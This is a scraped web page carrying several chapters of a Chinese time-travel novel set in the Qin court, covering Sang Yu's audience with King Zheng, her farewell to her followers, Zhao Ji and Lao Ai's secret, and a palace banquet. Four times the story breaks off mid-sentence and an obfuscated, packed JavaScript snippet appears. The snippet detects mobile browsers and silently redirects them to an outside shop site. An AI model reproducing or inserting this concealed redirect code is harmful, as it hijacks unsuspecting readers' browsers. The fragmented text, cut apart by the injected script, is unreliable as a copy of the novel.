桑语眉头轻蹙。昨晚阿五急切地想要告诉她什么,恰逢木珠手串突然震动,她只得将阿五推出门外,未料竟错失如此重要的消息。 “吃饭吧,汤都凉了。”桑语轻喟一声,“这什么咸阳城最好的酒肆,还真是贵啊。” 太阳渐渐西斜,原本寂静的街市上,忽然又有歌声传来。 是秦军们唱着《东山》归家。 桑语与他们擦肩而过,翻身上马,直奔王城而去。 偌大的王城此刻仍笼罩在一片忙碌之中,手持羽书的斥候飞马直入。虽说桑语对此地已经很熟悉了,但这样的场景,她还是初次见到。 桑语当即决定转头就走,却被一个寺人拦住了去路,“臣奉君上之命,在此等候山主。山主,请随臣来。” 桑语愣了一瞬,微微点头,“有劳了,请前边带路吧。” 寺人领着桑语,走过几处宫殿,在一扇厚重的木门前停下了脚步。他恭立在门侧,轻声道:“山主请进去吧,君上在等您。” 桑语迟疑了一下,还是抬步走了进去。 房间里静得只剩下她的脚步声,沙沙而响。桑语下意识地攥紧了手腕上的木珠手串,朗声说道:“大王,桑语求见大王!” 没有任何回应,她觉得自己此时像极了走入“瓮中”的那只“鳖”。这不免叫她有些恼怒,立时转身准备离去。 “既已进殿,为何不往里走走?” 秦王政的声音陡然响起,桑语止住了脚步,冷声说道:“眼下君上正忙着吧,何苦还如此费心地戏耍于我?” “山主,近前来说话吧。” 桑语深吸了口气,调整了表情。她循着声音的方向,步入重重帷幔之中。 秦王政仅着了件玄色的寝衣,此时毫无形象地趴在一幅巨大的舆图上,手中握着一支笔,正在圈圈点点地画着。 桑语默立在旁,渐渐了然。 舆图上所勾画出来的各式标记,乍一看似乎纷繁杂乱,但若是细细观察,便能发现这是秦国东进的路线。 桑语看着星罗棋布的城邑,心下莫名有些悲切。她自言自语地感慨,“这仗得打到什么时候啊!” 这话落入了秦王政的耳中,他手中的笔微微一顿,最终还是在“漳水”处画了一个红叉。 “也许十年八年,也许二三十年。”秦王政将笔搁在一旁的砚台上,拂衣起身,“不管十年八年,还是二三十年,战争一定会结束。” 桑语听到这几句话,有些五味杂陈。 秦始皇在后世的争议,正是源于此时他说出的这番话。究竟是想要以战止战,还是残暴的战争狂,没有人敢妄下结论。但可以肯定的是,秦始皇绝非昏君,也绝非圣人。 先秦太过于久远,时间成为了天机盒上的密码,一层层被强行赋予的外衣之下,是难以窥探真正的曾经。关于先秦的历史,更像是文化史。 只道秦法严苛,可这是一条无人走过的路。后世多以秦朝的覆灭为教训,秦朝却没有任何可以参考的范本。 毋庸置疑,这是一个天才的时代。哪怕秦二世而亡,之后的汉朝依旧是“汉承秦制”。这个时代的东西,甚至深深影响着两千年后的世界。龙争虎斗的乱世之中,秦始皇所行之路,是渺无人烟的暗夜。 历史没有如果,只有遗憾。 桑语又扫了一眼舆图,直直地看向秦王政,“大王,可曾听过‘盘古开天辟地’的故事?” “嗯?”秦王政的眼中带了几分疑惑。 桑语缓慢地说道:“彼时天地混沌,盘古以开天斧劈开阴阳,自此为创世之神。然,后人唯见月寒日暖,却不见日月乃盘古所化。大王您觉得,盘古可值得?” 秦王政并未回答她。 桑语斟酌着措辞,继续道:“为君王者,拥有至上权力,亦不乏内忧外患。若为昏君,自恃权力,耽于酒色之乐,终沦为荒诞之谈。然,昏君易做,英主难成。可谓英主者,夙夜不敢自懈,勤身而忧世矣。可叹的是,英主难为,历史却不一定会留下英主的美名。” 秦王政沉默着,他似乎陷入了思索。不须臾,他语气沉重,“天下苦战斗不休,唯天下大定,各国才不为战乱所累,万民不失命于寇戎。四海承平,方利田畴,民之口腹饫矣。寡人在世,必守成令主。寡人若亡,眠于骊山之下,化为天地之气,以佑万世平定。” 似乎有些答非所问,却是桑语心中最期待的答案。 她垂下眼眸,将情绪掩藏了起来。再次抬眼时,将话题引向正事,“大王怎会知道我今日要来?” “寡人昨日就在等你,等你来与寡人道别。”秦王政说着,转了话锋,“你喝酒了?” 桑语抬起袖子闻了闻,的确是有些酒味。但这不是重点,她缓声说道:“既然咸阳之危已解,玄女山众人也该回到山野林泉之间了。” 秦王政就这么看着桑语,既不说同意,也不说不同意。 桑语的神情变得不愉,语气也生硬起来,“前时你我有约,玄女山为秦国守咸阳,待合纵军退军之后,大王您会给予我重谢。如今,我斗胆问大王一句,由冯去疾冯大人许下的承诺,究竟是否算数?” 当初秦王政请桑语出山,并非一帆风顺。陆陆续续遣了五六位秦使,但最终都被桑语轰下了山。 桑语始终记得那第二位秦使,姿态上盛气凌人,只差没拿鼻孔看人。于是桑语出言讽刺了他几句,那人立时急了,脱口而出道:“玄女山能庇护亡奴,全因秦王之恩遇。今日君王有难,你若不以死报之,就是想谋反作乱!” 不用旁人提醒什么,桑语心里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“咸阳城,不止有驿馆、王城和城楼。山主不妨多住几日,四处走走看看,也不失为一件乐事。” 秦王政的声音,此时听起来格外阴沉。桑语虽早有心理准备,但面对现实,仍难以保持平静。她深深吸了口气,又听得秦王政继续说道:“山主有功于秦,按秦律,应授官论赏。还请山主勿辞,以全寡人之心。至于其他人,山主无须担忧。虽说寡人暂且无法令他们脱离奴籍,但寡人会命人安全护送他们回玄女山。” 桑语猛地抬起头来,秦王政依旧平淡地说道:“寡人所遣之人,皆是大营里的陷阵之士,山主可以放心。即使山主不在山中,他们也会守护好玄女山的山民。” 他的这些话虽然客气,却无法模糊其中的威胁之意。桑语不觉脊背发凉,她将红布条重新系好,将竹简递还给秦王政,“我答应你,我会接受你的赏赐。但是,现在,我要离开王宫。” 秦王政唇边淡淡一笑,“山主是寡人的客人,自可随意往来。” 桑语转身走出了几步,又听得秦王政说道:“寡人答应你,凡玄女山所庇护之人,皆是我大秦的子民。” 桑语没有回头,只是诚恳地说了一句“谢谢”。 5. 离别 桑语匆匆回了驿馆,不等马儿停稳,她已经从马背上翻身而下。她将马鞭甩手丢给迎上来的阿五,“快去,叫上阿九和椿儿,来我房间。” 她留下这句话,便快步走进驿馆内。 不到半盏茶的工夫,桑语的房门就被敲响了。她将今日进宫的情形详细叙述了一遍,末了郑重地道:“让大家收拾好行李吧,估计很快就要送你们回去了。” 三人低垂着脑袋,皆黯然不语。 桑语只能半哄半骗,“秦王他答应我了,再过一阵,我就可以回玄女山了。若是我不在山上,你们仨可得当好‘主心骨’。现在就给大家做个表率,去收拾行囊吧。” 桑语见她们仍是瘪着嘴不吭声,佯装轻松道:“我这人命硬,必定不会命丧于此。你们不要担心,也不要害怕。保护好玄女山,让我有个家可以回。” 阿五抬起泪眼,泪水如断线珠子般滑落。她攥住桑语的手,声音哽咽:“阿姊,‘三十六计’里的‘上计’,何不试试?” 桑语鼻子有些酸,仍是笑着说道:“看来,字没有白学,书没有白读。阿姊我啊,甚是欣慰。玄女山交给你们,我可以放心了。” 她的声音里透着抑制不住的哽咽,“在我的家乡,有句老话,叫‘跑得了和尚跑不了庙’。我跑了,玄女山还在呀。若是我真是玄女,定会将整座山纳入袖中,然后一并带走。可惜,我……只是个凡人,是个无力对抗秦廷的普通人。” “阿姊!”阿九突然双腿一屈,“扑”地跪了下去,“阿姊你逃吧,不要管我们了。秦王为何要留下阿姊,阿姊岂不明白用意?是阿姊救了我们的命,我们不能成为你的累赘!” 阿五和椿儿也相继跪倒。 “够了,都起来!”桑语深吸口气,肃声说道,“你们可知,何为王命?玄女山,没有能力拒绝。若是我不留下,只怕是……谁都回不去了。” “你们视我为山主,称我为阿姊。我就应该担起这份责任来,再说了,若是秦王欲杀我,我又怎会坐以待毙?你们,相信我,好吗?” 这边话音刚落,急促的敲门声骤然响起。桑语扬声问道:“谁?有何事?” 门外的人应道:“山主,宫中来人了。” 桑语沉默了一瞬,“好,我知道了。”她理了理衣袍,“诸位,随我出去吧。” 寺人巽已经恭敬地站在了庭院中,见到桑语之后,他先是拱手一揖,然后展开竹简高声宣读:“玄女山山主桑语率兵入援,解咸阳之困,于秦有功,特封太卜丞,食邑十户。秦王嬴政六年冬月。” 桑语清楚地听到了众人的吸气之声,她深深一躬,扬声说道:“臣桑语,谢君上。”举起双手,接过了王诏。 寺人巽笑吟吟地说道:“恭喜桑山主,不对,以后就要称呼您为桑大人了。” 桑语回了个笑容,“您客气了。烦请您转告君上,尺寸之功,怎可食邑十户?请大王收回这项‘赏赐’吧。” 寺人巽依旧恭敬地说道:“桑大人的话,臣一定悉数禀给君上。还有两件事,其一,君上已经安排了甲士,明日护送诸位回玄女山。其二,明日章台宫中大摆筵席,犒赏文武百官,务请桑大人拔冗赴宴。” 桑语微微颔首,随即嘱咐阿五将他送出驿馆。 太阳已经沉落了,玫瑰色的余晖洒落在屋瓦上的白雪之间。桑语抬头看看天幕,又低头看看手中的诏令,心中思绪紊乱如麻。 这没准是件好事呢?最危险的地方,或许就是最安全的地方。 寺人巽带来的,不仅仅是王诏,还有秦王所赐的美酒佳肴。 片时已是玉兔东升,驿馆的旷地之中,旺盛的篝火上正烤着一只全羊。桑语与众人围在篝火边,载歌载舞,畅饮着凤酒,大家都心照不宣地不提及明日。 阿五此时哪有食欲?她抬眼看去,桑语正拿着一把弯刀割着羊腿吃。 “秦国的心思如此昭然若揭,阿姊居然还能大快朵颐?不愧是山主啊。” 阿五的话,是说给一旁的阿九听的。她二人是经过患难的老友,话说时自是少了许多顾忌。 阿九将手中的柿饼掰了一半递给阿五,“明日事是明日事,既然大家如今还在一处,何必想那么多呢,好好吃,痛快玩!”她略顿了顿,“这是阿姊所希望的。阿五,不要让阿姊难过。” 阿五闷声说了句“知道了”,小口地咬着柿饼。 这柿饼,甜得有些发苦。 当月亮升至中天,十几坛凤酒已被饮尽,篝火也仅存微弱余烬。众人皆醉,桑语却是神志清醒。她起身轻拍阿五的肩膀,示意跟随。 一回到房中,桑语小心翼翼地关闭门窗,然后将藏于被褥深处的小包裹交给阿五。阿五怀抱包裹,指尖触碰到其中坚硬之物,“阿姊,这是?” “藏在后山山洞里的武器,你还记得如何使用吗?”桑语询问。 阿五肯定地点了点头,尽管自从学会使用那些武器后,她便未曾再见,但它们带来的震撼至今仍难以忘怀。 桑语神情严肃,郑重地交代着,“这包裹内有一个密码盒,盒中有钥匙一把。你曾见过我如何打开密码盒,以及如何用钥匙开启后山的箱子。你只需模仿我的动作即可。” “我先前就和你说过,这些武器威力巨大,足以夺取数千性命。因此,你必须慎重,绝不能轻易使用。我将如此重要的钥匙交予你,不是为了让你去挑衅或杀害任何人,即便对方或许是罪有应得。我只是希望,在我不在玄女山期间,你能守护好我们的家园。若是有人来犯,记住,宁为玉碎不为瓦全。” 当初玄女山收留了阿九和阿五,桑语惊喜地发现她们精通古代的各种冷兵器。经过几次的刻意试探,她看出阿五在射击上比阿九更有天赋,于是冒险教授了阿五如何使用步枪。 阿五忽觉手中的包袱有千斤重。她一字一句,承诺般地说道:“阿五定不负阿姊的厚望。人在,山在。山亡,我亡。” 桑语轻拍她的胳膊,“我要交代的事,就这么多了。你回屋休息吧,明儿,终于可以回家了。” 阿五满腹话语,却难以开口。她将手中的包裹抱紧,看向桑语的眼中充满了不舍与担忧,“阿姊,你也早些休息吧。” “好!” 桑语送阿五出门,看着她一步三回头地走 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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尽管拥有杀伤力远较于冷兵器的热武器,桑语却不愿用它们去伤害那些士兵,所以在士兵攻山之时,她只会选择使用烟雾弹。也正是因为如此,才有了那些关于玄女山的神话。 人心有所忌惮,玄女山就能安全无恙。 天明之后,驿馆的外街上已聚集着数十名甲士,手持长戈,人人肃穆。阿五站在门口,在她的身后,是数百位身着粗布衣裳的山民。 秦将并未催促他们,阿五回头看向馆驿,忽然地跪下了,朝着桑语卧房的方向磕了一个头。 桑语并未出门送行,她一直睁着眼睛看着窗外,直至晨曦涌入室内。屋外的动静,她都听得一清二楚。陆续地有人来向她道别,以为她未起,又悄声地离开了。 估摸着时辰,桑语从房屋中走出。 昨晚还是热热闹闹的院子,此时冷清得可怕。已经相处了这么久,彼此之间早已熟稔,就这样分别了,桑语有种强烈的、被遗弃似的感觉,心头涌上了一股难言的酸楚。 她走到一座小亭子里坐下,抬头看着天边的飞鸟。恍惚之间,好像听到了有人在唤“阿姊”,像是阿九的声音。 她疑心是自己幻听了,并未理会。但是这个声音愈发清晰了,她还是转过头看去。撞入眼帘的,是阿九的笑脸。 阿九站在阶下,冲着桑语招手,“阿姊,阿五她可以独当一面,我们就不必回去了。她回去保护玄女山,我们留下,保护阿姊!” “你怎么这么不听我的话?”桑语冷着脸训斥,眼里却是噙着泪,“不对,你说‘我们’?还有谁?” “还有我!”椿儿从大树后走出,灿笑如花,“阿姊已经说了九姊,不许再说我了哦!” 6. 赵姬 桑语稍稍侧转身子,抬手在眼角擦拭了一下。 阿九和椿儿走到她对面坐下。椿儿从袖中取出一方帕子,递给桑语,“阿姊,若是想哭就哭吧,别忍着,就当我们看不见……” 桑语闻言轻笑,接过那块帕子。绢白的帕子上带着淡淡的花香,若是用它来擦眼泪,简直是暴殄天物了。 “你们俩可得考虑清楚,今日若不回玄女山,以后再想要回去,可就不容易了。” “想好了,昨日就已经想好了。”阿九说道,“玄女山,有阿五,有姜兄,足矣。但在咸阳城里,只有阿姊你一人。我们商量过了,我虽武艺不及阿姊,但是有必要之时,或许可以助阿姊一臂之力。” 椿儿接过话头,“阿姊,这咸阳城可不比玄女山,人心坏得很。我曾沦落为娼女,什么样的人,都是见过的。若是有人想要弄什么把戏陷害阿姊,我椿儿第一个不答应。” 桑语垂下眼眸,一颗泪珠快速滚落。她很快又抬起眼来,笑着说道:“既然你们选择留下,我也不好赶你们走。接下来的一切风雨,我们一起面对。” 她将帕子递还给椿儿,随即站起身来:“我想回房睡会儿,你们也去休息吧。这个驿馆,不会久住了。” 阿九看着桑语,踟蹰着说道:“阿姊,我有一事想问。” “何事?”桑语又坐了下来。 阿九问道:“太卜丞之职,是行卜筮之事?问苍天,问鬼神?” 桑语点点头,“应该是如此。” “但自我与阿姊相识以来,从未见过阿姊以蓍草占卜。” “我哪会什么卜筮之术!”桑语嘴角撇出一丝揶揄,“所谓太卜丞,不过是秦王政为了扣留我而找的借口罢了。至于我会不会占卜,这并不重要。太卜丞之上,还有太卜令呢。” 既然提及了“封赏”之事,桑语决定索性将话说透,“玄女山在中原各国间闻名久矣,除了雍城的士兵向我们动过手,秦廷一直是保持着沉默。但是这并不意味着,秦廷对我们毫无忌惮。先前那封布书,你们也都看到了,其实我们一直活在秦廷的监视之下。” “此番秦王有了个‘论功行赏’的借口,将我留在了咸阳城。然而,虽有任事,却未受爵,这与说我‘无功’,又有何异?秦王这个人,不过是将话说得好听。若将来秦国遇上了什么难解的大事,秦王说不定会以此为借口,光明正大地问罪我这个‘太卜丞’。我们的日子是否好过,完全取决于秦王的度量。所以,你俩日后也要谨慎行事,切勿给人留下任何对玄女山不利的把柄。” “是,阿姊的话,我们记住了!” 二人话语铿锵,椿儿问道:“今日的筵席,阿姊去吗?” “去,为何不去?”桑语一拍石桌,“我们为他们镇守城门那么久,历经寒风苦雪。既有功劳,又有苦劳,我为何不去!” 她仔细地交代道:“我对秦廷的规矩不甚了解,不知筵席何时结束。你们不必等我回来,早点休息。之前椿儿与阿五同住,现在阿五已回山中,椿儿你就去与阿九同住吧。椿儿不会武功,阿九你要多加照应。反正,多些警惕,不是坏事。” 阿九和椿儿皆重重地点了点头。 城外山路林间,一队轺车正沿着崎岖的山路缓缓而行。没有行人,也没有飞鸟走兽的踪迹,只有轺车行时的轮声蹄音,碾碎了积雪。 队伍中间的轺车,尤为华丽宽敞。赶车的是位头发灰白的老叟,精瘦的手紧攥着缰绳,眼睛警觉地观察着四周的动静。车外缀满饰物,车内则铺着软席兽皮。 一个妇人缩身斜靠在角落里,腰后垫着软枕。她气闷难疏,对侍女轻抬了下手。侍女会意地卷起车帘,微风随即灌入衣袖之中,妇人的脸色终于渐渐好转。 妇人突然捂住嘴,蛾眉紧蹙。侍女见状,忙手捧痰盂递上。 须臾,车队停下,侍女扶着妇人从轺车上走下。有马蹄声近,一个衣着华丽的男子从马上一跃而下。 看年岁约莫有三十四五,肤色略黑,脸廓棱角分明,身板挺直,英气十足。他挥动袍袖,周围的侍从皆自觉地背过身去。 男子伸手揽住妇人的腰肢,妇人便顺势依偎在他的身上,两个躯体紧紧地搂在一起。 妇人的手抚在小腹上,脸上洋溢着一抹淡笑,“我怀政儿时,并未如此害喜。”她说着,面色突然一敛,“嫪毐,回咸阳之后,此事绝不能向任何人透露,尤其是政儿。” 嫪毐从鼻间发出一声轻“嗯”,微微垂下头去,唇贴着她的耳廓。赵姬偏过头,伸手试图推开他,却被嫪毐一把打横抱起。 “呀!”赵姬惊呼一声,勾住他的脖子,眼角瞥了一眼周围的侍卫宫人,急忙轻声道,“有人呢!” “都是太后的人,有何害怕?”嫪毐说着,手臂轻轻一举,耳朵贴在她微微隆起的腹部。 赵姬又羞又急,抬手拍打他的胳膊。 嫪毐却更加放肆,将她抱得更紧,“孩子呀孩子,你要听话,别再让阿母受苦了!阿母受苦,阿翁心疼啊!” 赵姬闻言笑道,“他才几个月啊,你现在和他说话,他怎会听懂?” “当今大王也是从太后肚子里爬出来的,这个孩子定亦非常人,想必能听懂他阿翁的话。” 赵姬眉眼一厉,正欲开口,听到一阵马蹄声,接着便看见有三四人驾马出现。 周围的侍卫立刻警觉起来,将长剑拔出剑鞘。 嫪毐小心地放下赵姬,见她面露忧色,便握住她的手,“自己人,来接我们的。” 赵姬这才松了一口气。虽说随行侍卫中不乏高手,但若真的与山贼交手,也是件麻烦事。 “别停留了,早些回宫吧!”赵姬说着,转身回到轺车中。她依旧坐在角落,只是在腰后多放了一个软枕,试图靠坐得更舒服些。 嫪毐骑马在前,另有一人一马紧随其后。那匹黑马上的人身着胡服,身材魁梧,双肩抱拢,两道漆黑的大眉,腰间挎着一把大刀。此人是嫪毐的亲信,名唤张尤,原是杀猪屠狗之夫,因好赌成癖,竟失手杀死了妻子。嫪毐早闻他力大无匹,趁机将他从牢狱中救出,继而收为己用。 嫪毐拉了拉马缰,马儿慢了下来,他回头看了眼身后的马车。 张尤见状,向嫪毐禀告道:“主人,卫女死了。” “卫女?” “被送入章台宫的卫女。” 嫪毐终于想起了这个人,“没用的东西,死就死了吧。” 张尤艰涩地开口,“十二个刺客,都死了。不过,好像逃了一个。我们的人正在追查他的去向,以及是否还活着。” 嫪毐猛地勒住缰绳,眼中交织着震惊和愤怒。他重重地在马背上挥鞭,冷哼一声,“秦王小儿,我倒真是小瞧他了。” 张尤接着说:“玄女山的山主,留在咸阳为官了。那十二个刺客,是她所为。” 嫪毐眉头紧锁,“张 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13163460|138793||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 尤,传我口令,暂且不动,见机再行事。”他两腿夹了一下马腹,又拉一下缰绳,催马跑了起来。 嫪毐得太后之恩宠,早已暗生篡位之心。怎奈朝中武将忠臣众多,又有吕不韦把持朝政,他虽有满腹阴谋,却是举步维艰。 他凭借自己的“过人之处”,才讨得如今的地位,一时风光无限。在赵姬面前,他极尽讨好之事,暗中笼络能人,耐心等待机会到来。他以为自己最大的绊脚石是吕不韦,也一直琢磨着应对之策,却始终未得其解。 嫪毐未曾将秦王政这个孩子放在眼里,而这疏忽终将成为他日后的悔恨。 远处忽又传来一片杂沓响动的脚步声、马蹄声,嫪毐抬手示意车队停下。他骑马来到赵姬的轺车旁,“太后,前方有不少的人马。” 赵姬探头朝外看了一眼,笑道:“看你紧张得那样,他们穿着秦军的衣裳呢。” 嫪毐弯起眉眼,“臣这是关心则乱。” 为首的秦将见了他们,也叫停了前行的队伍。嫪毐骑在马上,朗声说道:“太后在此,尔等还不快快下马拜见!” 秦将慌忙从马背上跳下,上前几步跪地行礼。 赵姬道:“免礼吧,你们这是往哪儿去?” 秦将回道:“臣等奉君上之命,护送玄女山一众人等返回雍城。” “玄女山?”赵姬示意侍女将车帘打得更高些,但仍被马匹挡住了视线,“既然是大王的命令,你们也别耽搁了,快走吧。” 秦将抱拳谢恩,身形却未动。 嫪毐抬手一挥,示意车队继续前进。 两支队伍擦肩而过时,赵姬好奇地多看了两眼,待走远了些,她隔着窗说道:“听说玄女山有个人叫桑语,武艺高绝,乃是玄女再世。刚才那么多人,也不知哪个是桑语。” 嫪毐应着赵姬的话,“桑语不在,大王将她留在了咸阳。” 赵姬凤眼微眯,“嫪毐,我这个太后尚且不知的事情,你又如何知晓?” 嫪毐的眼眸轻微闪烁了一下,几不可察。他歪着头看向赵姬,笑说道:“臣每日陪伴在太后左右,耳濡目染之下,也懂了些事理。玄女山尾大不掉,桑语那样的人物,大王必定不会轻易让她再回去了。” 赵姬这才笑了笑,将身子重新靠回了软垫之上。她将手搭在小腹上,神色淡淡,眸中却似有不安。 巍峨的城楼,高耸十丈,庄严肃穆地矗立在厚重的云层之下。数名官员身着黑袍,立在城门之外眺望着。一辆轺车停在城门内,秦王政端坐其中,闭目小憩。 寺人巽走到轺车旁,低语般地禀报:“君上,太后回来了!” 秦王政缓缓睁开眼,施施然走下轺车。 赵姬一瞥见秦王政的身影,便急忙加快了脚步。 秦王政站稳脚步,向赵姬恭敬地行了一礼,“儿臣见过母后!”他的举止规矩,脸上没有什么多余的表情。 赵姬抬手抚上他的脸颊,声音颤抖,“我的儿啊,阿母夜难成寐,害怕你我母子再不得相见。我的儿,你瘦了好多,愈发像个君王了。” 秦王政多日来紧绷着的眉眼终于微微柔软了下来,露出一个近乎孩子气的微笑,“阿母,回宫吧!咸阳城,儿子守住了。” “好!”赵姬拉住他的袖子,“我们回宫!” 秦王政走出几步又停下,扭头对寺人巽说,“寡人与母后同乘一车回宫。你去驿馆,将桑山主接入王城。” 7. 比剑 桑语与李斯是在宫门口遇见的。 李斯静立于宫墙之下,双手隐于袖间。他的脸庞瘦削,总是带有一股阅尽人世沧桑的淡然。 桑语轻步下车,微一迟疑,还是主动向前寒暄:“李大人,真巧啊。” “不巧,在下已在此等候山主多时了。”李斯说着,做了一个“请”的手势。 桑语微微颔首,随着李斯步入宫门,两人沿着甬道缓步前行。片刻后,李斯打破了沉默,“山主向来神秘,传闻有无数之多。在下却觉得,人只是人。人有所归,亦有来处。” 桑语淡笑着道,“李大人是想询问我究竟来自哪国吧!” “山主确为性情中人。” “李大人,您是楚国上蔡人?”桑语这话问得有些奇怪,李斯脸色如常,“上蔡之布衣,三十载。” 桑语自然能够理解李斯话中的深意。他如今身居秦国长史之位,是秦王的近臣幕僚,可谓前途无量。然而这一切,并非是负国求荣,而是贤臣择主而仕。 “实不相瞒,我与李大人也算是同乡。” “哦?何邑?”李斯有些惊讶,“山主说话,毫无楚地口音。” 桑语摇摇头,“我也不知道。” 这并非搪塞之词,按照战国时代的行政区划,她确实属于楚人。只可惜,这个时代的文字与语言,都是她在半年时间内有目的性地学习的,以她的历史素养,的确不知道自己的家乡究竟是何邑。 桑语微微敛眸,“李大人文章华赡,有经纬治世之才,乃是‘丰年玉荒年谷’,应当是不怕巷子深的。” 李斯捋须大笑,引得周围的甲士们忍不住侧目。 “所谓‘酒香不怕巷子深’,并非放之四海而皆准。这段时日里,在下闻山主之言,观山主之行,料想山主绝非刻板迂腐之人。适才所言,恐是戏言耳?” “戏言戏言。”桑语同样笑笑,不想在这个话题上过多纠缠。她知道李斯只是想言明自己的无奈,绝非是生气 桑语之所以说出如此唐突的话,是因为她又想起了屈原,那位同样出自楚国的伟大诗人。 作为现代人,桑语是在对屈原的歌颂中长大的。她对屈原的认知,原本仅仅局限于课本上的评价——忠直之臣、迁谪之客、爱国诗人。 然而随着对春秋战国的了解愈多,便愈发体悟到屈原之死的壮烈。 周赧王五十九年,周朝的末主赧王为秦昭襄王所灭,东周列国的时代正式完结。而这一年里,秦始皇已是三四岁大的孩童。秦庄襄王元年,吕不韦率兵灭掉了东周国,消除了周室的最后一丝残余力量,延续了八百年的周朝自此不复存在。 春秋战国之世,周天子虽日益衰弱,但仍保有“天下共主”之号。《诗经》有言:普天之下,莫非王土。率土之宾,莫非王臣。所以在时人的观念中,大大小小的诸侯国纵使拥有很强的独立性,他们在名义上仍是周天子的臣民。 争土地,争人口,国与国之间的界限却是模糊的,一切都是“周天下”的内部斗争。士人入何国为官,武将为何人而征战,但凭他们自己的选择。 屈原,身为楚国贵族,因辞赋而名满天下。若是他选择去国离乡,或许可以和张仪等人一样,在他国实现自己的政治理想。然而,腐朽的楚国容不下屈原的高洁品格,屈原对乡土的爱恋却永恒不灭,甚至早已超越了狭隘的忠君思想。 他自沉汨罗江,以身殉国难。在这样的时代背景下,是多么的难能可贵。 驻守城楼的那段日子里,每每到了后半夜,桑语仰头看着天上的繁星,总会想起屈原,莫名奇妙地。 桑语从未过问阿九的心事,但她知道阿九的忧虑所在。 阿九在赵国时的日子很苦,但偶尔会有商贾家的夫人偷偷给她塞一块糖,也有游侠试图解救她们。 这些人,同样是赵人。 如果庞煖真的率领赵卒攻至咸阳城楼之下,阿九不知道自己应该如何选择。 是举起手中的长戈,还是闭起眼睛? 所以她总是特别关心蕞城的战况,不断向桑语重复同一个问题——联军真的无法越过函谷关吗? 作为后世之人,桑语当初能够答应下山,还有一个重要原因就是她知道秦国不会灭亡,毕竟最终走向灭亡的是秦朝。 然而,或许是受到阿九的影响,桑语偶尔也会想,若是楚军真的兵临城下,她该如何选择。两千多年的历史中,中原人口进行了多次的大迁徙。她的祖先,未必就是今天的楚人。但是,如果真的是楚人呢? 李斯感慨地叹了口气,“创业之君,筚路蓝缕,亲君子而远小人。守成之君,好乐享逸,亲奸谀而恶忠良。如此,国将亡矣。” 桑语认同地点头,“风从虎,云从龙。君臣之会合,绝非偶然。”她抬手将额前碎发拢至耳后,“李大人刻意在宫门外等我,应该不仅仅是为了问我的来处吧。” 李斯停下了脚步,转身看向桑语,“中原各国间皆有传闻,山主武艺高绝,非寻常人可近身。秦国的武将们,恐多有不服之人。不过,山主不必有任何顾忌。秦风朴素,以尚武著称。他们渴望战胜强者,也会尊重真正的强者。” 桑语听后,肃然一躬,“多谢大人提醒!” 庆功宴就设在章台宫中,桑语与李斯到时,人并不多,三三两两地说着话。桑语一走进大殿,众人的目光就落在了她的身上。 这些目光中,有的蕴含着好奇,有的则流露出不屑。 桑语面色丝毫未变,只平静地看了回去。虽然都身着黑色朝服,但谁是文臣,谁是武将,足以一眼分辨出来。 离她近的几人,那种极具攻击力的眼神,只有从死人堆里爬出来的人才会如此。 李斯走上前,打破了沉闷的局面,“诸位将军,辛苦了!” 众将拱手回礼,唯独一位气宇凝重的年轻男子的目光始终不曾离开桑语。 桑语被他盯得有些恼,歪着头向他笑了,一双眼睛却冷得像冰。 年轻男子似乎被她的神情镇住了,好一会儿才道:“玄女山的桑语?” “正是在下!”桑语颔首。 男子打量她的目光没有任何变化,良久,他笑了笑,拱手抱拳道:“秦人,王贲。” 桑语在心里默念了一遍这个名字。 王贲? 水战灭魏、大败楚军的王贲? 桑语拱手回礼,“久闻王将军大名,今日一见,果然是青年才俊。” “区区小将,何来大名,山主过誉了。与山主相比,不过一微虫而已。” 桑语熟悉王贲的这个眼神,曾几何时,在那些享誉武林的剑术高手面前,她也常常流露出这样的眼神。果不其然,王贲接着提议道:“桑山主,是否愿意与在下比试一场?” “能与虎狼之师比试,乃桑语之幸也。只是,你我此时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13163461|138793||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 所站立之地,是你们秦国君王的宫殿。在此舞刀弄剑的,恐怕不太妥当。不如,我们择日再战。” 话犹未落,秦王政的声音已从殿外传来,“何须改日?即刻便可一战。” 众人连忙行礼问安。 桑语回身看去,视线瞬间被一位美人吸引住了。鬓发如云,香腮似雪。娉娉袅袅,令人不敢直视。 桑语心下暗叹,她见过的美人不少了,但无一能与眼前这位佳人相提并论。“美艳”二字用在她的身上,竟觉得有几分轻浮了。 美人似乎是注意到了她的目光,温柔地对她一笑,又侧过身去问秦王政,“这位便是传说中的桑语吗?” 秦王政点头说是。 此刻桑语才回过神来,向赵姬行礼。赵姬走前几步,弯腰以手心托起她的手臂,“你于大秦有功,不必多礼。” “谢太后!”桑语顺势站直了身子。 